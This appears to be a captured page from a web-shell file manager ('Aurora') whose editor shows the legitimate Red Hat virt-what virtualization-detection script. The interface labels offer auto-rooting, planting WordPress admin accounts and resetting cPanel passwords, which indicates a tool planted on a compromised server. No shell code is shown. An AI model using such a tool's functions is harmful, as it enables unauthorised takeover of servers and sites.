Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
sbin
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: virt-what
#!/usr/bin/sh - # virt-what. Generated from virt-what.in by configure. # Copyright (C) 2008-2024 Red Hat Inc. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. # 'virt-what' tries to detect the type of virtualization being # used (or none at all if we're running on bare-metal). It prints # out one or more lines each being a 'fact' about the virtualization. # # Please see also the manual page virt-what(1). # This script should be run as root. # # The following resources were useful in writing this script: # . http://dmo.ca/blog/detecting-virtualization-on-linux/ # Do not allow unset variables, and set defaults. set -u root='' skip_qemu_kvm=false skip_lkvm=false VERSION="1.27" have_cpuinfo () { test -e "${root}/proc/cpuinfo" } use_sysctl() { # Lacking /proc, on some systems sysctl can be used instead. OS=$(uname) || fail "failed to get operating system name" [ "$OS" = "OpenBSD" ] } fail () { echo "virt-what: $1" >&2 exit 1 } usage () { echo "virt-what [options]" echo "Options:" echo " --help Display this help" echo " --version Display version and exit" exit 0 } # Handle the command line arguments, if any. while test $# -gt 0; do case "$1" in --help) usage ;; --test-root=*) # Deliberately undocumented: used for 'make check'. root=$(echo "$1" | sed 's/.*=//') shift 1 test -z "$root" && fail "--test-root option requires a value" ;; -v|--version) echo "$VERSION"; exit 0 ;; --) shift; break ;; *) fail "unrecognized option '$1'";; esac done test $# -gt 0 && fail "extra operand '$1'" # Add /sbin and /usr/sbin to the path so we can find system # binaries like dmidecode. # Add /usr/libexec to the path so we can find the helper binary. prefix=/usr exec_prefix=/usr PATH="${root}/usr/libexec:${root}/sbin:${root}/usr/sbin:${PATH}" export PATH # Check we're running as root. EFFUID=$(id -u) || fail "failed to get current user id" if [ "x$root" = "x" ] && [ "$EFFUID" -ne 0 ]; then fail "this script must be run as root" fi # Try to locate the CPU-ID helper program CPUID_HELPER=$(which virt-what-cpuid-helper 2>/dev/null) if [ -z "$CPUID_HELPER" ] ; then fail "virt-what-cpuid-helper program not found in \$PATH" fi # Many fullvirt hypervisors give an indication through CPUID. Use the # helper program to get this information. cpuid=$(virt-what-cpuid-helper) # Check for various products in the BIOS information. # Note that dmidecode doesn't exist on all architectures. On the ones # it does not, then this will return an error, which is ignored (error # message redirected into the $dmi variable). dmi=$(LANG=C dmidecode 2>&1) # Architecture. # Note for the purpose of testing, we only call uname with -m option # (except WSL2 which is weird). arch=$(uname -m | sed -e 's/i.86/i386/' | sed -e 's/arm.*/arm/') # Check for Alibaba Cloud if echo "$dmi" | grep -q 'Manufacturer: Alibaba'; then if $(timeout --version >/dev/null 2>&1); then timeout_cmd_prefix="timeout 1s" timeout_cmp="-eq" timeout_return_value=124 else timeout_cmd_prefix="" timeout_cmp="-ne" timeout_return_value=0 fi # Check for Alibaba Cloud ECS Bare Metal (EBM) Instance metadata=$($timeout_cmd_prefix sh -c '( { echo -e "GET /latest/meta-datainstance/instance-type HTTP/1.0\r\nHost: 100.100.100.200\r\n\r" >&3; grep -s 'ebm' <&3 ; } 3<> /dev/tcp/100.100.100.200/80 ) 2>/dev/null') ret_value=$? if [ $ret_value $timeout_cmp $timeout_return_value ]; then # a timeout occurred when fetching metadata, assuming remote host unaccessible # which means it might be a non-cloud environment, or test environment. echo "alibaba_cloud" else if [ -z "$metadata" ] ; then echo "alibaba_cloud" else echo "alibaba_cloud-ebm" fi fi fi # Check for VMware. # cpuid check added by Chetan Loke. if [ "$cpuid" = "VMwareVMware" ]; then echo vmware elif echo "$dmi" | grep -q 'Manufacturer: VMware'; then echo vmware fi # Check for WSL2. kernel=$(uname -r) if echo "$kernel" | grep -q 'microsoft-standard-WSL2' ; then echo wsl2 # If not WSL2 based on the running kernel, check for native Hyper-V. # http://blogs.msdn.com/b/sqlosteam/archive/2010/10/30/is-this-real-the-metaphysics-of-hardware-virtualization.aspx elif [ "$cpuid" = "Microsoft Hv" ]; then echo hyperv # Hyper-V on ARM doesn't have CPUID. Use the information in dmidecode # instead. Note this is similar to VirtualPC below. elif echo "$dmi" | grep -q 'Manufacturer: Microsoft Corporation' && echo "$dmi" | grep -q 'Product Name: Virtual Machine' && echo "$dmi" | grep -q 'Version: Hyper-V'; then echo hyperv fi # Check for VirtualPC. # The negative check for cpuid & Hyper-V is to distinguish this from # Hyper-V above which also has the same manufacturer string in the # SM-BIOS data. if [ "$cpuid" != "Microsoft Hv" ] && echo "$dmi" | grep -q 'Manufacturer: Microsoft Corporation' && echo "$dmi" | grep -q 'Product Name: Virtual Machine' && ! echo "$dmi" | grep -q 'Version: Hyper-V'; then echo virtualpc fi # Check for VirtualBox. # Added by Laurent Léonard. if echo "$dmi" | grep -q 'Manufacturer: innotek GmbH'; then echo virtualbox fi # Check for bhyve. if [ "$cpuid" = "bhyve bhyve " ]; then echo bhyve elif echo "$dmi" | grep -q "Vendor: BHYVE"; then echo bhyve fi # Check for OpenVZ / Virtuozzo. # Added by Evgeniy Sokolov. # /proc/vz - always exists if OpenVZ kernel is running (inside and outside # container) # /proc/bc - exists on node, but not inside container. if [ -d "${root}/proc/vz" -a ! -d "${root}/proc/bc" ]; then echo openvz fi # Check for LXC containers # http://www.freedesktop.org/wiki/Software/systemd/ContainerInterface # Added by Marc Fournier if [ -e "${root}/proc/1/environ" ] && tr '\000' '\n' < "${root}/proc/1/environ" | grep -Eiq '^container=lxc'; then echo lxc fi # Check for Illumos LX if [ -e "${root}/proc/1/environ" ] && tr '\0' '\n' < "${root}/proc/1/environ" | grep -q '^container=zone$' && [ -e "${root}/proc/version" ] && grep -q 'BrandZ virtual linux' < "${root}/proc/version"; then echo illumos-lx fi # Check for Docker. if [ -f "${root}/.dockerenv" ] || [ -f "${root}/.dockerinit" ] || \ grep -qF /docker/ "${root}/proc/self/cgroup" 2>/dev/null; then echo docker fi # Check for OCI. if [ -e "${root}/proc/1/environ" ] && cat "${root}/proc/1/environ" | tr '\000' '\n' | grep -Eiq '^container=oci'; then echo oci fi # Check for CRI-O. if [ -e "${root}/proc/1/environ" ] && cat "${root}/proc/1/environ" | tr '\000' '\n' | grep -Eiq '^container=crio'; then echo crio fi # Check for Podman. if [ -e "${root}/proc/1/environ" ] && cat "${root}/proc/1/environ" | tr '\000' '\n' | grep -Eiq '^container=podman'; then echo podman elif grep -qF /libpod- "${root}/proc/self/cgroup" 2>/dev/null; then echo podman fi # Check for container=systemd-nspawn if [ -e "${root}/proc/1/environ" ] && cat "${root}/proc/1/environ" | tr '\000' '\n' | grep -Eiq '^container=systemd-nspawn'; then echo systemd_nspawn fi # Check for Linux-VServer if test -e "${root}/proc/self/status" \ && cat "${root}/proc/self/status" | grep -q "VxID: [0-9]*"; then echo linux_vserver if grep -q "VxID: 0$" "${root}/proc/self/status"; then echo linux_vserver-host else echo linux_vserver-guest fi fi # Check for UML. # Added by Laurent Léonard. if have_cpuinfo && grep -q 'UML' "${root}/proc/cpuinfo"; then echo uml fi # Check for IBM PowerVM Lx86 Linux/x86 emulator. if have_cpuinfo && grep -q '^vendor_id.*PowerVM Lx86' "${root}/proc/cpuinfo" then echo powervm_lx86 fi # Check for Hitachi Virtualization Manager (HVM) Virtage logical partitioning. if echo "$dmi" | grep -q 'Manufacturer.*HITACHI' && echo "$dmi" | grep -q 'Product.* LPAR'; then echo virtage fi # Check for IBM SystemZ. if have_cpuinfo && grep -q '^vendor_id.*IBM/S390' "${root}/proc/cpuinfo"; then echo ibm_systemz if [ -f "${root}/proc/sysinfo" ]; then if grep -q 'VM.*Control Program.*KVM/Linux' "${root}/proc/sysinfo"; then echo ibm_systemz-kvm elif grep -q 'VM.*Control Program.*z/VM' "${root}/proc/sysinfo"; then echo ibm_systemz-zvm elif grep -q '^LPAR' "${root}/proc/sysinfo"; then echo ibm_systemz-lpar else # This is unlikely to be correct. echo ibm_systemz-direct fi fi fi # Check for Parallels. if echo "$dmi" | grep -q 'Vendor: Parallels'; then echo parallels skip_qemu_kvm=true fi # Check for Nutanix AHV. if echo "$dmi" | grep -q 'Manufacturer: Nutanix' && echo "$dmi" | grep -q 'Product Name: AHV'; then echo nutanix_ahv fi # Check for oVirt/RHEV. if echo "$dmi" | grep -q 'Manufacturer: oVirt'; then echo ovirt fi if echo "$dmi" | grep -q 'Product Name: RHEV Hypervisor'; then echo rhev fi # Google Cloud if echo "$dmi" | grep -q 'Product Name: Google Compute Engine'; then echo google_cloud fi # Red Hat's hypervisor. if echo "$dmi" | grep -q 'Manufacturer: Red Hat'; then echo redhat fi # Check for Xen. if [ "$cpuid" = "XenVMMXenVMM" ] && ! echo "$dmi" | grep -q 'No SMBIOS nor DMI entry point found, sorry'; then echo xen; echo xen-hvm skip_qemu_kvm=true elif [ -d "${root}/proc/xen" ]; then echo xen if grep -q "control_d" "${root}/proc/xen/capabilities" 2>/dev/null; then echo xen-dom0 else echo xen-domU fi skip_qemu_kvm=true skip_lkvm=true elif [ -f "${root}/sys/hypervisor/type" ] && grep -q "xen" "${root}/sys/hypervisor/type"; then # Ordinary kernel with pv_ops. There does not seem to be # enough information at present to tell whether this is dom0 # or domU. XXX echo xen elif [ "$arch" = "arm" ] || [ "$arch" = "aarch64" ]; then if [ -d "${root}/proc/device-tree/hypervisor" ] && grep -q "xen" "${root}/proc/device-tree/hypervisor/compatible"; then echo xen skip_qemu_kvm=true skip_lkvm=true elif [ -d "${root}/proc/device-tree/hypervisor" ] && grep -q "vmware" "${root}/proc/device-tree/hypervisor/compatible"; then echo vmware skip_lkvm=true fi elif [ "$arch" = "ia64" ]; then if [ -d "${root}/sys/bus/xen" -a ! -d "${root}/sys/bus/xen-backend" ]; then # PV-on-HVM drivers installed in a Xen guest. echo xen echo xen-hvm else # There is no virt leaf on IA64 HVM. This is a last-ditch # attempt to detect something is virtualized by using a # timing attack. virt-what-ia64-xen-rdtsc-test > /dev/null 2>&1 case "$?" in 0) ;; # not virtual 1) # Could be some sort of virt, or could just be a bit slow. echo virt esac fi fi # Check for QEMU/KVM. # # Parallels exports KVMKVMKVM leaf, so skip this test if we've already # seen that it's Parallels. Xen uses QEMU as the device model, so # skip this test if we know it is Xen. if ! "$skip_qemu_kvm"; then if [ "$cpuid" = "KVMKVMKVM" ]; then echo kvm elif [ "$cpuid" = "TCGTCGTCGTCG" ]; then echo qemu skip_lkvm=true elif echo "$dmi" | grep -q 'Product Name: KVM'; then echo kvm skip_lkvm=true elif echo "$dmi" | grep -q 'Manufacturer: KVM'; then echo kvm skip_lkvm=true elif echo "$dmi" | grep -q 'Manufacturer: Amazon EC2' && echo "$dmi" | grep -q 'System is a virtual machine'; then # This is for AWS Graviton (Arm) systems which don't have CPUID. echo kvm skip_lkvm=true elif echo "$dmi" | grep -q 'Manufacturer: Alibaba Cloud' && echo "$dmi" | grep -q 'System is a virtual machine'; then # This is for Alibaba Arm systems which don't have CPUID. echo kvm skip_lkvm=true elif echo "$dmi" | grep -q 'Manufacturer: QEMU'; then # The test for KVM above failed, so now we know we're # not using KVM acceleration. echo qemu skip_lkvm=true elif [ "$arch" = "arm" ] || [ "$arch" = "aarch64" ]; then if [ -d "${root}/proc/device-tree" ] && ls "${root}/proc/device-tree" | grep -q "fw-cfg"; then # We don't have enough information to determine if we're # using KVM acceleration or not. echo qemu skip_lkvm=true fi elif [ -d ${root}/proc/device-tree/hypervisor ] && grep -q "linux,kvm" /proc/device-tree/hypervisor/compatible; then # We are running as a spapr KVM guest on ppc64 echo kvm skip_lkvm=true elif use_sysctl; then # SmartOS KVM product=$(sysctl -n hw.product) if echo "$product" | grep -q 'SmartDC HVM'; then echo kvm fi else # This is known to fail for qemu with the explicit -cpu # option, since /proc/cpuinfo will not contain the QEMU # string. QEMU 2.10 added a new CPUID leaf, so this # problem only triggered for older QEMU if have_cpuinfo && grep -q 'QEMU' "${root}/proc/cpuinfo"; then echo qemu fi fi fi if ! "$skip_lkvm"; then if [ "$cpuid" = "LKVMLKVMLKVM" ]; then echo lkvm elif [ "$arch" = "arm" ] || [ "$arch" = "aarch64" ]; then if [ -d "${root}/proc/device-tree" ] && grep -q "dummy-virt" "${root}/proc/device-tree/compatible"; then echo lkvm fi fi fi # Check ppc64 lpar, kvm or powerkvm # example /proc/cpuinfo line indicating 'not baremetal' # platform : pSeries # # example /proc/ppc64/lparcfg systemtype line # system_type=IBM pSeries (emulated by qemu) if [ "$arch" = "ppc64" ] || [ "$arch" = "ppc64le" ] ; then if have_cpuinfo && grep -q 'platform.**pSeries' "${root}/proc/cpuinfo"; then if grep -q 'model.*emulated by qemu' "${root}/proc/cpuinfo"; then echo ibm_power-kvm else # Assume LPAR, now detect shared or dedicated if grep -q 'shared_processor_mode=1' "${root}/proc/ppc64/lparcfg"; then echo ibm_power-lpar_shared else echo ibm_power-lpar_dedicated fi # detect powerkvm? fi fi fi # Check for OpenBSD/VMM if [ "$cpuid" = "OpenBSDVMM58" ]; then echo vmm fi # Check for LDoms if [ "${arch#sparc}" != "$arch" ] && [ -e "${root}/dev/mdesc" ]; then echo ldoms if [ -d "${root}/sys/class/vlds/ctrl" ] && \ [ -d "${root}/sys/class/vlds/sp" ]; then echo ldoms-control else echo ldoms-guest fi MDPROP="${root}/usr/lib/ldoms/mdprop.py" if [ -x "${MDPROP}" ]; then if [ -n "$($MDPROP -v iodevice device-type=pciex)" ]; then echo ldoms-root echo ldoms-io elif [ -n "$($MDPROP -v iov-device vf-id=0)" ]; then echo ldoms-io fi fi fi # Check for AWS. # AWS on Xen. if echo "$dmi" | grep -Eq 'Version: [0-9]+\.[0-9]+\.amazon'; then echo aws # AWS on baremetal or KVM. elif echo "$dmi" | grep -q 'Vendor: Amazon EC2'; then echo aws fi # UpCloud if echo "$dmi" | grep -q 'Manufacturer: UpCloud'; then echo upcloud fi